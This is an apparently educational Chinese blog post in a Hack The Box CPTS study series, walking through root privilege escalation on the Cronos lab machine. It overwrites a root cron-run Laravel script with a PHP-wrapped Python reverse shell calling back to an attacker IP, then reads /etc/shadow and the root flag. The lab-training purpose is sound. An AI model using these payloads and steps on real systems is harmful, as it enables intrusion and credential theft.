iT邦幫忙

2026 iThome 鐵人賽

DAY 22
0
Security

《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》系列 第 22 篇

Day 22 — Cron Job 提權:怎麼找到它、怎麼判斷能不能用

  • 分享至 

  • xImage
  •  

Day 21 我們成功拿到了 Cronos 的 Reverse Shell——

Connection received on 10.129.227.211 48046
$

但我們拿到的是 www-data,不是 root!

那要怎麼從 www-data 到 root 呢?

提權不是猜謎,是有系統地找機會!那我們馬上來一起找提權機會吧


這是今天在 Cronos 機器拿到的 target ip:10.129.227.211

https://ithelp.ithome.com.tw/upload/images/20261006/20184189rHVocw32qG.png

記得先把我們前天列舉出的這台目標機器的子網域加進 /etc/hosts
,才能用瀏覽器進 admin.cronos.htb 彈Reverse Shell,接著做目標機器 Cronos 的偵查與操作!

echo "10.129.227.211 cronos.htb www.cronos.htb admin.cronos.htb ns1.cronos.htb" | sudo tee -a /etc/hosts;cat /etc/hosts | grep cronos

echo "10.129.227.211 cronos.htb www.cronos.htb admin.cronos.htb ns1.cronos.htb" :把這串文字輸出出來——「IP + 所有子網域」放在同一行,告訴電腦「這些名字都對應這個 IP」。

| sudo tee -a /etc/hosts

  • |:把剛才 echo 的文字送給下一個指令處理
  • sudo:用 root 權限執行(/etc/hosts 是系統檔案,一般使用者不能改)
  • tee:一邊顯示在螢幕上(讓我們確認加了什麼),一邊寫進檔案
  • -a:append,附加到檔案最後面,不是覆蓋整個檔案

然後確認有沒有成功加進去:

cat /etc/hosts | grep cronos
  • cat /etc/hosts:把 /etc/hosts 的內容全部印出來
  • | grep cronos:只顯示包含「cronos」的那幾行

https://ithelp.ithome.com.tw/upload/images/20261006/20184189t2Ei2g0mTB.png

確認加進去了


我們昨天已經成功拿到目標機器Cronos的Reverse Shell,今天會繼續往後實作!

先把 Shell 升級——TTY Upgrade

拿到 Reverse Shell 之後,第一件事不是急著找提權機會,而是先把 Shell 升級!

為什麼呢?

我們剛拿到的 $ shell 很陽春——

  • 沒辦法用上下鍵看歷史指令
  • 沒辦法用 Tab 補全
  • 如果不小心按了 Ctrl+C,整個 shell 就斷掉了 QQ

做什麼都很不方便。

我們要把它升級成「TTY shell」——有完整終端機功能的 shell,才能像我們平常在終端機操作一樣方便!

Step 1:在目標機器上跑 Python,開啟 TTY

python3 -c 'import pty; pty.spawn("/bin/bash")'

https://ithelp.ithome.com.tw/upload/images/20261006/20184189CdKmf4OT8i.png

Step 2:暫停 shell,設定終端機大小

按 Ctrl+Z 暫停 shell,回到 Kali 終端機:

stty raw -echo; fg
  • stty raw:把終端機設定成原始模式,讓按鍵直接傳到 shell
  • -echo:不要回顯輸入的字元
  • fg:把暫停的 shell 拉回前景

https://ithelp.ithome.com.tw/upload/images/20261006/201841899Bh9sfeKi7.png

Step 3:設定終端機環境變數

export TERM=xterm

https://ithelp.ithome.com.tw/upload/images/20261006/201841897e8t93tniZ.png

現在我們的 Reverse Shell 好用很多了—可以用上下鍵、Tab 補全,也比較不怕 Ctrl+C shell直接掰掰哩 xdd


照著 SOP 走,一步一步來

還記得 Day 7 整理的「拿到 Shell 後的 SOP」嗎?今天就照這個順序走!(但裡面有偷偷增加了新步驟,跟大家一起練習新招數!)

https://ithelp.ithome.com.tw/upload/images/20261006/20184189NJtlci5M63.png

① 我是誰?

whoami
  • whoami 確認目前的使用者名稱
    https://ithelp.ithome.com.tw/upload/images/20261006/20184189BlKAT6GxHa.png

確認我們是 www-data

① 我是誰、我的所屬群組?

id
  • id 比 whoami 多顯示一件事:所屬群組

https://ithelp.ithome.com.tw/upload/images/20261006/20184189qONLL7I9Mt.png

確認我們是 www-data 屬於 www-data 群組,我們現在拿到的是web server 的服務帳號,不是 root,也沒有特殊權限QQ

② 我在哪?現在的目錄裡有什麼?

pwd             →我在哪
ls              →現在的目錄裡面有什麼

https://ithelp.ithome.com.tw/upload/images/20261006/20184189NMDgGJoOXL.png

確認現在的位置,順便看看目錄裡有什麼——說不定有有趣的東西 xdd

③ 我能做什麼?

還記得 Day 10 在 Bashed 的時候,www-data 的 sudo -l 直接告訴我們可以切換到 scriptmanager——今天會不會這麼幸運?

sudo -l

https://ithelp.ithome.com.tw/upload/images/20261006/20184189oj89unOmY0.png

可惡!出現要求密碼 QQ

sudo -l 有三種可能的結果:

  • 直接列出可以用的身分跟指令:Day 10 的 www-data 就是這種,超幸運!
  • 要求密碼:今天的情況,我不知道密碼,嗚嗚暫時跳過QQ
  • 完全沒有 sudo 權限:這條路走不通

④ 這台機器是什麼?

uname -a               → Kernel 線索
cat /etc/os-release    → OS 線索
hostname               → 主機身分

https://ithelp.ithome.com.tw/upload/images/20261006/20184189iCL0O7MU0s.png

⑤ 裡面有什麼寶?——找可寫入的檔案

這裡用一個新方法!掃一遍系統上任何人都可以寫入的檔案:

find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
  • -path /proc -prune:跳過 /proc(系統資訊,不是我們要的)
  • -type f:只找檔案
  • -perm -o+w:任何人都可以寫入(world-writable)
  • 2>/dev/null:把錯誤訊息丟掉

結果~~~

/sys/fs/cgroup/memory/init.scope/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-disk-by\x2did-dm\x2duuid\x2dLVM\x2dugG31L7SgY5Eq7gNrbTJm4cB1GDM01JlrG31I4305630g1F9wbsXioYxpf3XSPmJ.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/mdadm.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/boot.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dbus.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/ifup@ens160.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/var-lib-lxcfs.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/cron.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-disk-by\x2duuid-8562ccf5\x2d6b15\x2d4c8c\x2d965a\x2dfaf52bf455a6.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/lvm2-lvmetad.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/rc-local.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/lxd-containers.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-disk-by\x2did-dm\x2dname\x2dcronos\x2d\x2dvg\x2dswap_1.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/apport.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-modules-load.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/apache2.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/iscsid.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-cronos\x2dvg-swap_1.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/-.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/open-iscsi.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/networking.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-mapper-cronos\x2d\x2dvg\x2dswap_1.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/accounts-daemon.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/resolvconf.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/atd.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-user-sessions.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-journald.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/sys-fs-fuse-connections.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-tmpfiles-setup.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/grub-common.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-sysctl.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/snapd.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/ondemand.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/lvm2-monitor.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-mqueue.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-tmpfiles-setup-dev.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-timesyncd.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/ssh.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-logind.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-journal-flush.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/bind9.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-random-seed.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/system-getty.slice/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-dm\x2d1.swap/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/keyboard-setup.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-udevd.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/polkitd.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/mysql.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/kmod-static-nodes.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/irqbalance.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/open-vm-tools.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/apparmor.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-udev-trigger.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/console-setup.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/rsyslog.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-remount-fs.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/sys-kernel-debug.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/dev-hugepages.mount/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/systemd-update-utmp.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/lxcfs.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/acpid.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/setvtrgb.service/cgroup.event_control
/sys/fs/cgroup/memory/system.slice/system-systemd\x2dfsck.slice/cgroup.event_control
/sys/fs/cgroup/memory/cgroup.event_control
/sys/fs/cgroup/memory/user.slice/cgroup.event_control
/sys/kernel/security/apparmor/policy/.remove
/sys/kernel/security/apparmor/policy/.replace
/sys/kernel/security/apparmor/policy/.load
/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
/sys/kernel/security/apparmor/.load
/sys/kernel/security/apparmor/.ns_name
/sys/kernel/security/apparmor/.ns_level
/sys/kernel/security/apparmor/.ns_stacked
/sys/kernel/security/apparmor/.stacked
/sys/kernel/security/apparmor/.access
/proc
/var/lib/lxcfs/cgroup/memory/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/init.scope/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-disk-by\x2did-dm\x2duuid\x2dLVM\x2dugG31L7SgY5Eq7gNrbTJm4cB1GDM01JlrG31I4305630g1F9wbsXioYxpf3XSPmJ.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/mdadm.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/boot.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dbus.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/ifup@ens160.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/var-lib-lxcfs.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/cron.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-disk-by\x2duuid-8562ccf5\x2d6b15\x2d4c8c\x2d965a\x2dfaf52bf455a6.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/lvm2-lvmetad.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/rc-local.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/lxd-containers.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-disk-by\x2did-dm\x2dname\x2dcronos\x2d\x2dvg\x2dswap_1.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/apport.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-modules-load.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/apache2.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/iscsid.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-cronos\x2dvg-swap_1.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/-.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/open-iscsi.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/networking.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-mapper-cronos\x2d\x2dvg\x2dswap_1.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/accounts-daemon.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/resolvconf.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/atd.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-user-sessions.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-journald.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/sys-fs-fuse-connections.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-tmpfiles-setup.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/grub-common.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-sysctl.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/snapd.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/ondemand.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/lvm2-monitor.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-mqueue.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-tmpfiles-setup-dev.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-timesyncd.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/ssh.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-logind.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-journal-flush.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/bind9.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-random-seed.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/system-getty.slice/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-dm\x2d1.swap/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/keyboard-setup.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-udevd.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/polkitd.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/mysql.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/kmod-static-nodes.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/irqbalance.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/open-vm-tools.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/apparmor.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-udev-trigger.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/console-setup.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/rsyslog.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-remount-fs.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/sys-kernel-debug.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/dev-hugepages.mount/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/systemd-update-utmp.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/lxcfs.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/acpid.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/setvtrgb.service/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/system.slice/system-systemd\x2dfsck.slice/cgroup.event_control
/var/lib/lxcfs/cgroup/memory/user.slice/cgroup.event_control

看到這麼多,第一反應是——哇,這麼多可以利用的?! 🤩

不對,先冷靜下來提權的關鍵不只是「能寫入」,還要:

root 會去執行它


如果某個被 root 執行的腳本,我們也可以寫入——那我想做什麼,root都可以幫我實現耶(我要叫他把權限交給我!我也要當root)

⑥ 能看到更多嗎?——找 Cron Job

方法 1:直接看 crontab

cat /etc/crontab

https://ithelp.ithome.com.tw/upload/images/20261006/20184189InnTgIuHMO.png

咦!/var/www/laravel/artisan——好眼熟!

* * * * *  root  php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

root 每分鐘都在跑他!

Day 20 偵查這台機器的時候,robots.txt 也看過 laravel 。laravel 是 PHP 後端框架!

我們現在的身份是 www-data— web server 的服務帳號,那我們應該有機會有權力修改 /var/www/laravel相關路徑呀~上一步怎麼沒看到!!

啊上一步~找的是非owner、非owner group的其他使用者也可以修改的檔案!雖然其他使用者不行修改,但/var/www/ 是整個網站的根目錄,應該是我在管的,我是owner應該是有機會修改他!修改這個root會排程跑的檔案(耶!!!

那如果我們沒有 crontab 讀取權限,或是排程藏在別的地方怎麼辦呢

方法 2: pspy 監控——這時候 pspy 就派上用場了!

pspy 不需要 root 就能監控 process,直接掃 procfs,可以看到其他使用者跑的指令、cron job 觸發的時機:

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 -O /tmp/pspy64

https://ithelp.ithome.com.tw/upload/images/20261006/20184189fs9fTu9ckM.png

靶機沒有對外網路連線QQ不能直接 wget 下載 pspy~

那我們怎麼讓pspy到靶機呢

Kali(攻擊機) 上:下載 pspy64,開 HTTP Server
下載 pspy64

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

https://ithelp.ithome.com.tw/upload/images/20261006/20184189r6Cemeherf.png

在 pspy64 所在目錄開 HTTP Server

python3 -m http.server 8080

https://ithelp.ithome.com.tw/upload/images/20261006/20184189BM8Q7eGmxL.png

靶機上:
在靶機的 shell 下載pspy64:

cd /tmp
wget http://10.10.15.205:8080/pspy64

https://ithelp.ithome.com.tw/upload/images/20261006/20184189QZYqqsftWh.png

幫自己加pspy64的執行權限

chmod +x pspy64.1
  • +x:下載回來的檔案預設沒有執行權限,chmod +x 就是「幫自己加執行權限」,加完才能跑 ./pspy64
    https://ithelp.ithome.com.tw/upload/images/20261006/20184189GogsXxLEKN.png

執行 pspy,開始監控

./pspy64.1 -pf -i 1000
  • ./ 為相對目錄
  • -pf:同時監控 process 跟檔案系統事件
  • -i 1000:每 1000ms 掃描一次
    https://ithelp.ithome.com.tw/upload/images/20261006/20184189pj0RNXNHXl.png
    https://ithelp.ithome.com.tw/upload/images/20261006/2018418903rL6W7bAt.png
    https://ithelp.ithome.com.tw/upload/images/20261006/201841891ahVWOCEWF.png
    https://ithelp.ithome.com.tw/upload/images/20261006/20184189bgUhnLOzsu.png

等一下下,root 定時執行的指令就會跑出來!


今天用兩個方法都確認了:root 每分鐘都在執行 /var/www/laravel/artisan 腳本!

方法 適用情況
cat /etc/crontab 快速,有讀取權限就能看
pspy 有讀取限制時、或排程不在 crontab 裡時

提權的關鍵

找到 Cron Job 之後,要確認兩件事:

  1. 這個腳本是以 root 執行的嗎?
  2. 我們對這個腳本有寫入權限嗎?

root 定時執行的「腳本」而且我們可以改內容-才是能協助我們完成提權的腳本!

ls -al /var/www/laravel/artisan

https://ithelp.ithome.com.tw/upload/images/20261006/20184189oL92lRQ0Jc.png

欄位 值 說明
-rwxr-xr-x 檔案權限
www-data 擁有者(owner) 這個檔案屬於 www-data!
www-data 所屬群組 群組也是 www-data
Apr 9 2017 最後修改時間
- rwx r-x r-x
│ │││ │││ │││
│ │││ │││ └── other(其他人):r-x = 可讀可執行,不可寫入
│ │││ └────── group(群組成員):r-x = 可讀可執行,不可寫入
│ └────────── owner(擁有者):rwx = 可讀可寫可執行
└──────────── 這是一個普通檔案(d 是目錄)
  • 擁有者是 www-data
  • 擁有者有 rwx(讀寫執行) 全部權限
  • 我們現在就是 www-data!
    所以——我們可以修改這個檔案! 🎯

哇!這個檔案的擁有者就是我們!而且我們有寫入權限耶(root執行的檔案,我們可以修改,那我要叫他把他的權限交給我xddd

先看看這個檔案原本的內容

cat /var/www/laravel/artisan

https://ithelp.ithome.com.tw/upload/images/20261006/20184189HaU7ktGWDx.png
https://ithelp.ithome.com.tw/upload/images/20261006/20184189CgFacQ78pf.png
https://ithelp.ithome.com.tw/upload/images/20261006/20184189xRiTJ43qAN.png

這是一個 Laravel PHP 框架的腳本~


提權時間!

確認可以寫入腳本之後——照 Day 10 的方法,把 Reverse Shell 寫進 Cron Job 執行的腳本,讓 root 幫我們執行!

Step 1:開新終端機,開 nc 監聽

nc -lvnp 5555

用 5555 這個 port,跟之前的 4444 區分開來。
https://ithelp.ithome.com.tw/upload/images/20261006/20184189wjGBr9eiOl.png


Step 2:至 Reverse Shell Generator 網頁生payload

https://ithelp.ithome.com.tw/upload/images/20261006/20184189R8UtY8bHI9.png


Step 3:把 Python Reverse Shell 寫進 artisan 腳本

echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.205\",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'" > /var/www/laravel/artisan
  • > : 把我們的內容寫進 artisan,會覆蓋原本內容

https://ithelp.ithome.com.tw/upload/images/20261006/20184189tpZOzjc1zG.png


Step 4:等 Cron Job 觸發

* * * * * = 每分鐘執行一次

寫進去了,等了一分鐘……

沒有任何反應。QQ

為什麼?

其實用 Python 做 Reverse Shell 是完全沒問題的——機器上有 Python,PHP 也可以透過 system() 呼叫 Python 指令。

問題不在「Python 不能用」,而在格式。

回頭看 Cron Job 執行的指令:

php /var/www/laravel/artisan schedule:run
↑
php 去讀這個檔案,當作 PHP 程式碼執行

PHP 在讀檔案的時候:檔案裡如果沒有 <?php ?> 標記,PHP 不會把那些內容當程式碼執行,而是直接當純文字輸出、忽略掉。

我們剛剛直接 echo 一段 Python 指令進去——PHP 打開 artisan,看到一堆 import socket...,沒有 <?php,直接跳過,什麼都沒執行><

Python 指令本身沒錯,只是少了告訴 PHP「這段是要執行的程式碼」的標記。


Step 5:用 PHP 把 Python 包起來:

echo '<?php system("python -c '"'"'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.205\",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"sh\")'"'"'"); ?>' > /var/www/laravel/artisan

這次用 <?php system("..."); ?> 把 Python 指令包起來。

  • <?php ... ?> 是 PHP 的程式碼標記,php 看到這個才知
  • system("...") 是 PHP 的系統呼叫函式——叫 PHP 去執行雙引號裡面的指令

https://ithelp.ithome.com.tw/upload/images/20261006/20184189ieevpegVuz.png

最多等 1 分鐘......


Step 6:nc 接到連線!

https://ithelp.ithome.com.tw/upload/images/20261006/20184189v0RzATCOMK.png

下

whoami

https://ithelp.ithome.com.tw/upload/images/20261006/20184189Q2cygtOQTd.png

我是root了耶!!! 提權成功!!!🎉


Step 7:看只有 root 能看到的密碼 Hash

拿到 root 之後,還有一個很值得做的動作——讀 /etc/shadow!
https://ithelp.ithome.com.tw/upload/images/20261006/20184189doKWcE0vUn.png
https://ithelp.ithome.com.tw/upload/images/20261006/20184189qZou914wNa.png
這個檔案平常只有 root 讀得到,裡面存的是每個帳號的密碼雜湊(不是明文密碼喔~要還原還得靠離線爆破

今天我們先不爆破,單純確認「拿到 root 之後確實讀得到這個檔案」就好,爆破的部分之後有機會再來玩 xddd

拿到 root flag!

find / -name "root.txt" 2>/dev/null

find / -name "root.txt":在整個系統搜尋名為 root.txt 的檔案
https://ithelp.ithome.com.tw/upload/images/20261006/20184189MZALJav85T.png

cat /root/root.txt

https://ithelp.ithome.com.tw/upload/images/20261006/20184189DMD3LG4O2M.png

成功拿到 root 的flag哩!


回顧時間 🎉

今天跟 Day 10 的感覺很像,但細節不太一樣——

Day 10 是從 test.txt 在極短時間內一直更新,
雖然我們當時沒有直接看到 cron job,但靠觀察推論出背後可能有排程在執行,再進一步去確認!

今天則是直接在 /etc/crontab 找到了 cron job
(Day 10 在 crontab 裡沒看到 QQ 超怪,但還好我們最後還是靠觀察找到了!

雖然找到線索的方式不一樣,但後面的思路其實是一樣的:

找到 root 定時執行的腳本
→ 確認我們可以修改它
→ 把 Reverse Shell 寫進去
→ 等 root 幫我們執行
→ 拿到 root shell

不需要知道 root 的密碼,只要能控制 root 會定時執行的腳本,就有機會讓 root 幫我們執行我們放進去的指令,最後拿到 root 權限 ><

以前在 EDR 看告警,看到奇怪的排程時,同事都特別緊張 ><
那時候還不太懂為什麼——現在好像開始理解了 xdd


整條攻擊鏈:

DNS Zone Transfer(Day 20)
  → 找到 admin.cronos.htb(Day 20)
  → SQL Injection 繞過登入(Day 21)
  → Command Injection → Reverse Shell(Day 21)
  → /etc/crontab 找到 root Cron Job(Day 22)
  → 修改腳本 → Reverse Shell → root(Day 22)
  → 提權成功!🎉

拿到 root 了~~~耶!!!

前面一路挖到現在,終於把整條路串起來了 xddd

明天我們來寫報告 ><那我們就明天見囉~


上一篇
Day 21 — 從子網域找到 Web 漏洞,一路拿到 Reverse Shell!
下一篇
Day 23 — Cronos 的技術發現:找到問題之後,報告要怎麼寫?
系列文
《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》 共 24 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言